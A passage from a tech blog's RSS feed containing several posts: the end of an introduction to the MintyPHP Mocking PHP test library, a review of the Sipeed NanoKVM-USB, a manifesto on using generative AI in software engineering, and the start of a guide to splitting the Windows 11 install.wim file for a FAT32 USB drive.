&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$result&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Adder&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;::&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;add&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;mi&#34;&gt;2&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$mock&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;assertExpectationsMet&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For mocking static methods, and:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; class=&#34;chroma&#34;&gt;&lt;code class=&#34;language-php&#34; data-lang=&#34;php&#34;&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$mock&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;BuiltInFunctionMock&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;App\Service&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$this&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$mock&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;expect&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s1&#34;&gt;&amp;#39;microtime&amp;#39;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;k&#34;&gt;true&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;],&lt;/span&gt; &lt;span class=&#34;mf&#34;&gt;1763333612.602&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$service&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;nx&#34;&gt;Service&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$timestamp&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;nv&#34;&gt;$service&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;getCurrentTime&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;nv&#34;&gt;$mock&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&#34;na&#34;&gt;assertExpectationsMet&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;For mocking PHP&amp;rsquo;s built-in functions.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Testing code that relies on static methods or built-in functions can be
challenging in PHP. Traditionally, you&rsquo;d have to refactor your code to inject
dependencies or wrap functions in testable interfaces. To allow you to write
clean, maintainable tests without invasive refactors, I created MintyPHP
Mocking.</p>
<p>It allows you to write things like:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$mock</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">StaticMethodMock</span><span class="p">(</span><span class="nx">Adder</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> <span class="nv">$this</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">expect</span><span class="p">(</span><span class="s1">&#39;add&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> <span class="mi">3</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$result</span> <span class="o">=</span> <span class="nx">Adder</span><span class="o">::</span><span class="na">add</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">assertExpectationsMet</span><span class="p">();</span>
</span></span></code></pre></div><p>For mocking static methods, and:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$mock</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BuiltInFunctionMock</span><span class="p">(</span><span class="s1">&#39;App\Service&#39;</span><span class="p">,</span> <span class="nv">$this</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">expect</span><span class="p">(</span><span class="s1">&#39;microtime&#39;</span><span class="p">,</span> <span class="p">[</span><span class="k">true</span><span class="p">],</span> <span class="mf">1763333612.602</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$service</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">Service</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="nv">$timestamp</span> <span class="o">=</span> <span class="nv">$service</span><span class="o">-&gt;</span><span class="na">getCurrentTime</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">assertExpectationsMet</span><span class="p">();</span>
</span></span></code></pre></div><p>For mocking PHP&rsquo;s built-in functions.</p>
<h3 id="how-it-works">How it works</h3>
<p>The library uses two techniques to achieve it&rsquo;s goals:</p>
<p><strong>For static methods</strong>: It intercepts class autoloading by registering a
prepended autoloader. Before the real class is loaded, it creates a stub class
that forwards all static calls to your expectations.</p>
<p><strong>For built-in functions</strong>: It defines namespaced functions on the fly. Since
PHP&rsquo;s function resolution checks the current namespace first before falling back
to the global namespace, unqualified calls like <code>microtime()</code> in your namespace
will be routed through the mock.</p>
<h3 id="mocking-static-methods">Mocking static methods</h3>
<p>Here&rsquo;s a complete example:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">MintyPHP\Mocking\StaticMethodMock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">App\Math\Calculator</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">PHPUnit\Framework\TestCase</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">CalculatorTest</span> <span class="k">extends</span> <span class="nx">TestCase</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">test_calculation</span><span class="p">()</span><span class="o">:</span> <span class="nx">void</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// Register the mock before Calculator is loaded
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$mock</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">StaticMethodMock</span><span class="p">(</span><span class="nx">Calculator</span><span class="o">::</span><span class="na">class</span><span class="p">,</span> <span class="nv">$this</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="c1">// Declare expectations in order
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">expect</span><span class="p">(</span><span class="s1">&#39;multiply&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">],</span> <span class="mi">12</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">expect</span><span class="p">(</span><span class="s1">&#39;add&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">12</span><span class="p">,</span> <span class="mi">5</span><span class="p">],</span> <span class="mi">17</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="c1">// Exercise the code under test
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$result1</span> <span class="o">=</span> <span class="nx">Calculator</span><span class="o">::</span><span class="na">multiply</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$result2</span> <span class="o">=</span> <span class="nx">Calculator</span><span class="o">::</span><span class="na">add</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="mi">5</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="c1">// Verify
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">assertSame</span><span class="p">(</span><span class="mi">12</span><span class="p">,</span> <span class="nv">$result1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">assertSame</span><span class="p">(</span><span class="mi">17</span><span class="p">,</span> <span class="nv">$result2</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">assertExpectationsMet</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>You can also make methods throw exceptions:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">expect</span><span class="p">(</span><span class="s1">&#39;divide&#39;</span><span class="p">,</span> <span class="p">[</span><span class="mi">10</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="k">null</span><span class="p">,</span> <span class="k">new</span> <span class="nx">\DivisionByZeroError</span><span class="p">());</span>
</span></span></code></pre></div><h3 id="mocking-built-in-functions">Mocking built-in functions</h3>
<p>Here&rsquo;s an example mocking <code>microtime()</code> in a stopwatch class:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">MintyPHP\Mocking\BuiltInFunctionMock</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">App\Time\StopWatch</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="k">use</span> <span class="nx">PHPUnit\Framework\TestCase</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">class</span> <span class="nc">StopWatchTest</span> <span class="k">extends</span> <span class="nx">TestCase</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">test_elapsed_time</span><span class="p">()</span><span class="o">:</span> <span class="nx">void</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="c1">// Register mock for the namespace
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$mock</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">BuiltInFunctionMock</span><span class="p">(</span><span class="s1">&#39;App\Time&#39;</span><span class="p">,</span> <span class="nv">$this</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="c1">// microtime(true) will be called twice
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">expect</span><span class="p">(</span><span class="s1">&#39;microtime&#39;</span><span class="p">,</span> <span class="p">[</span><span class="k">true</span><span class="p">],</span> <span class="mf">1763333612.602</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">expect</span><span class="p">(</span><span class="s1">&#39;microtime&#39;</span><span class="p">,</span> <span class="p">[</span><span class="k">true</span><span class="p">],</span> <span class="mf">1763333614.825</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="c1">// Exercise the code
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$sw</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">StopWatch</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$sw</span><span class="o">-&gt;</span><span class="na">start</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$elapsedMs</span> <span class="o">=</span> <span class="nv">$sw</span><span class="o">-&gt;</span><span class="na">stop</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        
</span></span><span class="line"><span class="cl">        <span class="c1">// Verify
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">assertSame</span><span class="p">(</span><span class="mi">2223</span><span class="p">,</span> <span class="nv">$elapsedMs</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$mock</span><span class="o">-&gt;</span><span class="na">assertExpectationsMet</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>This works for any of PHP&rsquo;s built-in functions, like: <code>microtime()</code>,
<code>file_get_contents()</code>, <code>random_int()</code> or <code>sleep()</code>.</p>
<h3 id="important-notes">Important notes</h3>
<ul>
<li><strong>Expectations are ordered</strong>: They&rsquo;re matched and consumed in FIFO order</li>
<li><strong>Arguments are compared using PHPUnit&rsquo;s assertEquals</strong>: So loose comparison
applies</li>
<li><strong>Call more than expected?</strong> Test fails with &ldquo;No expectations left&rdquo;</li>
<li><strong>Declared more than called?</strong> <code>assertExpectationsMet()</code> fails</li>
<li><strong>Namespace matters</strong>: Built-in function mocks only intercept unqualified
calls in the specified namespace</li>
<li><strong>Fully-qualified calls bypass the mock</strong>: Calls like <code>\microtime()</code> won&rsquo;t be
intercepted</li>
</ul>
<p>I&rsquo;ve implemented this without any dependencies (beyond PHPUnit for testing) and
I&rsquo;ve written comprehensive tests to ensure the code is stable and working. The
library is intentionally small, explicit, and easy to reason about. Any feedback
is more than welcome.</p>
<p>See: <a href="https://github.com/mintyphp/mocking">https://github.com/mintyphp/mocking</a></p>
<p>Enjoy!</p>
<h3 id="links--alternatives">Links / Alternatives</h3>
<ul>
<li><a href="https://github.com/php-mock/php-mock">Github.com - php-mock/php-mock</a></li>
<li><a href="https://github.com/mockery/mockery">Github.com - mockery/mockery</a></li>
<li><a href="https://github.com/php-mock/php-mock-phpunit">Github.com - php-mock/php-mock-phpunit</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Sipeed NanoKVM USB: a security friendly KVM</title>
      <link>https://www.tqdev.com/2025-sipeed-nanokvm-usb-a-security-friendly-kvm/</link>
      <pubDate>Fri, 14 Nov 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-sipeed-nanokvm-usb-a-security-friendly-kvm/</guid>
      <description>&lt;p&gt;Openterface, Cytrence and Sipeed make a KVM over USB product. I have bought the
cheapest one: the Sipeed NanoKVM-USB at about EUR 60 (available on Amazon) which
includes all nessecary cables. I love the product as it allows me to do repairs
and upgrades on any laptop or desktop PC I put on my desk, without having to
connect a second monitor keyboard and mouse.&lt;/p&gt;
&lt;p&gt;
  
    &lt;img src=&#34;https://www.tqdev.com/uploads/2025/sipeed-nanokvm-usb_hu_cf2d66a2cd4f7da1.webp&#34; alt=&#34;Sipeed NanoKVM-USB&#34; width=&#34;229&#34; style=&#34;max-width: 229px;&#34; /&gt;
  
&lt;/p&gt;
&lt;h3 id=&#34;data-center-usage&#34;&gt;Data-center usage&lt;/h3&gt;
&lt;p&gt;This device may not be ideal in the data-center as a permanently installed KVM,
as it has no network connection. If you would have one management node, you
could install a bunch of these in that node to control the other rack-servers
(without opening a new attack surface). It may also be of great help when
visiting a (private) data-center. I would always want to have this KVM (and a
HDMI to VGA adapter) in my laptop bag as it takes barely any space and may avoid
the need of a crash cart in the cold aisle.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>Openterface, Cytrence and Sipeed make a KVM over USB product. I have bought the
cheapest one: the Sipeed NanoKVM-USB at about EUR 60 (available on Amazon) which
includes all nessecary cables. I love the product as it allows me to do repairs
and upgrades on any laptop or desktop PC I put on my desk, without having to
connect a second monitor keyboard and mouse.</p>
<p>
  
    <img src="/uploads/2025/sipeed-nanokvm-usb_hu_cf2d66a2cd4f7da1.webp" alt="Sipeed NanoKVM-USB" width="229" style="max-width: 229px;" />
  
</p>
<h3 id="data-center-usage">Data-center usage</h3>
<p>This device may not be ideal in the data-center as a permanently installed KVM,
as it has no network connection. If you would have one management node, you
could install a bunch of these in that node to control the other rack-servers
(without opening a new attack surface). It may also be of great help when
visiting a (private) data-center. I would always want to have this KVM (and a
HDMI to VGA adapter) in my laptop bag as it takes barely any space and may avoid
the need of a crash cart in the cold aisle.</p>
<h3 id="sbc-and-computer-repairs">SBC and computer repairs</h3>
<p>For debugging single-board computers (like Raspberry Pi, Orange Pi, etc.) and
repairing PCs in general, the NanoKVM‑USB shines because it works before
networking and drivers are available. You plug HDMI from the target into the
NanoKVM and a single USB into the target for keyboard/mouse HID, then operate
everything from your laptop as if a local monitor and peripherals were attached.
That makes BIOS/UEFI or GRUB changes, OS installs and fixing boot problems
straightforward without hunting for a spare screen or keyboard. It’s also ideal
for machines with broken displays or keyboards, or for air‑gapped systems as it
has a switch to toggle a USB drive between host and target.</p>
<h3 id="build-quality">Build quality</h3>
<p>The NanoKVM‑USB’s plastic side panels are glued to the aluminium casing rather
than fastened with screws. In practice, pulling a tight HDMI or USB cable
straight out can loosen a panel, exposing the Sipeed mainboard. It’s something
to be aware of when disconnecting cables. Support the panel near the connector
and pull gently to avoid popping the side off. On the plus side, sliding the
mainboard out lets you see exactly how the ingenious design is put together in
such a small device, which is both educational and reassuring. If a panel does
come loose, a tiny dab of superglue on the inside lip will probably fix it.</p>
<h3 id="linux-software">Linux software</h3>
<p>The host application is open source and distributed as a convenient Debian
package on GitHub releases, which makes installation on Debian‑based systems
(Debian, Ubuntu, Linux Mint, etc.) straightforward. In daily use it generally
works flawlessly, but occasionally the app won’t detect the USB HID
keyboard/mouse emulator after you connect the device. If that happens, just
unplug and reconnect the NanoKVM‑USB to the host to fix this problem. Other than
that the software works with very low latency and is very reliable.</p>
<h3 id="privacy-and-security">Privacy and security</h3>
<p>The NanoKVM‑USB has almost no firmware. The screen capture device presents
itself as a standard webcam. The USB HID emulator operates via a USB connected
serial port. This minimal design means there&rsquo;s little software to attack. The
device also has no network connection. It cannot be reached over the internet.
This makes it much less vulnerable than network‑based KVM solutions. The open
source software is verifiable and makes no internet connections. This is crucial
when installing machines with disk encryption. Privacy is very important in such
scenarios. For security‑conscious users this is a major advantage.</p>
<h3 id="conclusion">Conclusion</h3>
<p>At roughly EUR 60 the NanoKVM‑USB is a must‑have for anyone who installs or
repairs machines regularly and cares about privacy and security. You get good
build quality, open‑source and reliable Linux software, and responsive,
low‑latency control in a tiny package. The side panels that can come loose if
you pull a cable too hard, and the occasional need to reconnect the device to
detect the USB HID are acceptable minor flaws that are easy to work around.
Overall, it’s a joy to use and has earned a permanent place in my toolkit.</p>
<h3 id="links">Links</h3>
<ul>
<li><a href="https://wiki.sipeed.com/hardware/en/kvm/NanoKVM_USB/introduction.html">Sipeed Wiki - NanoKVM-USB Introduction</a></li>
<li><a href="https://github.com/sipeed/NanoKVM-USB">Github - NanoKVM-USB open source software</a></li>
<li><a href="https://www.storagereview.com/review/sipeed-nanokvm-usb-review-bridging-the-gap-between-host-and-target-machines">Sipeed NanoKVM-USB Review: Bridging the Gap Between Host and Target Machines</a></li>
<li><a href="https://openterface.com/">Openterface - Mini-KVM: Turning Laptop into a KVM Console</a></li>
<li><a href="https://www.cytrence.com/">Cytrence - Kiwi: makes your laptop a KVM over USB &amp; much more</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Software engineering generative AI manifesto</title>
      <link>https://www.tqdev.com/2025-software-engineering-generative-ai-manifesto/</link>
      <pubDate>Wed, 12 Nov 2025 01:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-software-engineering-generative-ai-manifesto/</guid>
      <description>&lt;p&gt;We stand at the threshold of a new era in software engineering. We&amp;rsquo;ve waited
decades for intelligent assistants that understand code, context, and intent and
now they have finally arrived. Yet too many developers hesitate, bound by
outdated notions of what &amp;ldquo;real&amp;rdquo; programming means. This manifesto rejects that
hesitation. We believe that embracing AI is not about replacing human
creativity, but amplifying it. It&amp;rsquo;s about spending less time on repetitive tasks
and more time solving meaningful problems. It&amp;rsquo;s about delivering better
software, faster, while maintaining the highest standards of quality and ethics.
The question is no longer whether to use generative AI in software development,
but how to use it responsibly and effectively. Here are our principles.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>We stand at the threshold of a new era in software engineering. We&rsquo;ve waited
decades for intelligent assistants that understand code, context, and intent and
now they have finally arrived. Yet too many developers hesitate, bound by
outdated notions of what &ldquo;real&rdquo; programming means. This manifesto rejects that
hesitation. We believe that embracing AI is not about replacing human
creativity, but amplifying it. It&rsquo;s about spending less time on repetitive tasks
and more time solving meaningful problems. It&rsquo;s about delivering better
software, faster, while maintaining the highest standards of quality and ethics.
The question is no longer whether to use generative AI in software development,
but how to use it responsibly and effectively. Here are our principles.</p>
<h4 id="1-always-ask-ai-to-implement-a-feature-before-doing-it-manually">1. Always ask AI to implement a feature before doing it manually</h4>
<p>Whether it&rsquo;s a UI component, API endpoint, or data model—let AI take the first
stab. You&rsquo;ll often get 80% of the work done instantly, and you can refine from
there.</p>
<h4 id="2-use-ai-for-code-analysis-before-debugging-or-refactoring">2. Use AI for code analysis before debugging or refactoring</h4>
<p>Ask it to explain complex logic, suggest codebase improvements, or spot bugs.
It&rsquo;s like having a second brain that never gets tired or misses edge cases.</p>
<h4 id="3-use-ai-to-write-all-your-documentation">3. Use AI to write all your documentation</h4>
<p>Generate docstrings, README files, architecture summaries, or onboarding guides.
It can tailor docs for different audiences—devs, PMs, or even clients.</p>
<h4 id="4-use-ai-to-review-and-refactor-code-before-pushing">4. Use AI to review and refactor code before pushing</h4>
<p>Ask for performance improvements, security checks, or cleaner abstractions. It&rsquo;s
like a tireless senior engineer reviewing your work 24/7.</p>
<h4 id="5-let-ai-generate-and-refine-tests-before-you-write-any">5. Let AI generate and refine tests before you write any</h4>
<p>Unit tests, integration tests, edge cases—AI can scaffold them fast. You can
then tweak or expand based on your specific logic.</p>
<h4 id="6-automate-boring-tasks-with-ai-generated-scripts">6. Automate boring tasks with AI-generated scripts</h4>
<p>Let AI write shell scripts, data migration tools, cron jobs, or build scripts.
If it&rsquo;s repetitive or tedious, AI can script it—saving hours of manual work.</p>
<h3 id="moral-standards">Moral Standards</h3>
<p>Some argue that using AI to write code is &ldquo;cheating&rdquo; or diminishes the craft of
programming. We reject this view: the real measure of a developer isn&rsquo;t how much
they type, but whether they deliver quality software that solves real problems
in a responsible and efficient way.</p>
<h4 id="1-maximizing-productivity-with-ai-is-fairneglecting-it-isnt">1. Maximizing productivity with AI is fair—neglecting it isn&rsquo;t.</h4>
<p>If AI helps deliver faster, better results, it&rsquo;s in the customer&rsquo;s best interest
to use it. Holding back would be doing them a disservice.</p>
<h4 id="2-you-own-the-output-not-the-ai">2. You own the output, not the AI.</h4>
<p>AI doesn&rsquo;t take responsibility for quality, accuracy, or impact—you do. Always
review, refine, and stand behind the final result.</p>
<h4 id="3-use-ai-tools-only-with-client-approval">3. Use AI tools only with client approval.</h4>
<p>We apply AI ethically: only when the customer has explicitly approved its
specific use and ideally provided the AI tools to use.</p>
<h3 id="pitfalls">Pitfalls</h3>
<p>We recognize that AI is powerful, but not without risks. Avoid these common
traps that undermine everything we&rsquo;ve outlined above.</p>
<h4 id="1-loss-of-overview">1. Loss of overview</h4>
<p>AI generates code faster than you can understand it. Combat this with clear
documentation, architectural diagrams, and specs before implementation.</p>
<h4 id="2-accepting-low-quality">2. Accepting low quality</h4>
<p>Speed tempts you to skip review—don&rsquo;t. Treat AI output as a draft, test
thoroughly, and ironically, use AI itself to test and review code.</p>
<h4 id="3-using-ai-when-you-shouldnt">3. Using AI when you shouldn&rsquo;t</h4>
<p>AI struggles with specialized domains, novel algorithms, and deep context. Step
in manually when problems are poorly defined or AI repeatedly fails.</p>
<p>Enjoy AI (responsibly)!</p>
]]></content:encoded>
    </item>
    <item>
      <title>Cannot copy Windows 11 &#34;install.wim&#34;?</title>
      <link>https://www.tqdev.com/2025-cannot-copy-windows-11-install-wim/</link>
      <pubDate>Fri, 03 Oct 2025 00:00:00 +0000</pubDate>
      <guid>https://www.tqdev.com/2025-cannot-copy-windows-11-install-wim/</guid>
      <description>&lt;p&gt;When you buy a Windows PC it often comes bundled with a lot of software that you
do NOT want. To remove this unwanted software it is recommended to do a &amp;ldquo;clean
install&amp;rdquo; of Windows 11. When copying the install disk (Windows 11 ISO) to a
bootable USB drive you may run into the problem that you can&amp;rsquo;t copy the
&amp;ldquo;install.wim&amp;rdquo; file. This post has a solution to that problem.&lt;/p&gt;</description>
      <content:encoded><![CDATA[<p>When you buy a Windows PC it often comes bundled with a lot of software that you
do NOT want. To remove this unwanted software it is recommended to do a &ldquo;clean
install&rdquo; of Windows 11. When copying the install disk (Windows 11 ISO) to a
bootable USB drive you may run into the problem that you can&rsquo;t copy the
&ldquo;install.wim&rdquo; file. This post has a solution to that problem.</p>
<h3 id="clean-windows-install">Clean Windows install</h3>
<p>When I get a new PC (such as my new GMKTec M6 Ultra mini PC) I like to do a
clean Windows 11 install. This removes the manufacturer&rsquo;s bundled software.
Since this mini PC supports secure UEFI boot it should be as easy as
initializing a USB drive with a &ldquo;GPT partition table&rdquo; and creating a FAT32
partition with the contents of the installation ISO (you can just copy the
files). In UEFI boot there is no need for changes to the &ldquo;Master Boot Record&rdquo; or
for a &ldquo;boot flag&rdquo; on the partition.</p>
<p>Note that a clean install also removes the bundled drivers from your system.
This may prove cumbersome when the latest version of Windows does not support
your WiFi or Ethernet port (you may need to transfer them using a USB stick).</p>
<h3 id="splitting-installwim">Splitting install.wim</h3>
<p>In order to be able to write an ISO to a FAT32 partition there may be no file
bigger than 4 gigabytes. This is a problem, as in the latest Windows 11 the
&ldquo;sources/install.wim&rdquo; file is 6.3 GiB in size. We can work around this problem
by splitting this file into multiple 1 GiB files (this split format is supported
by the Windows 11 installer). The splitting options are described on
<a href="https://wimlib.net/man1/wimsplit.html">wimlib.net</a>. We are going to use a 1 GiB
split size just to be sure.</p>
<h3 id="getting-the-official-windows-11-iso-image">Getting the official Windows 11 ISO image</h3>
<p>You can download the official Windows 11 ISO image from Microsoft by visiting:</p>
<p><a href="https://www.microsoft.com/nl-nl/software-download/windows11">https://www.microsoft.com/nl-nl/software-download/windows11</a></p>
<p>You get a link that is valid for 24 hours to download the ISO that is 7.1 GiB in
size</p>
<h3 id="preparing-the-iso-image-on-linux">Preparing the ISO image (on Linux)</h3>
<p>In Ubuntu you can just right click any ISO image and &ldquo;Open with Disk Image
Mounter&rdquo;. You can now copy all contents to a new folder on your hard disk. Now
find the &ldquo;sources&rdquo; folder in the copied disk, enter it and right-click and
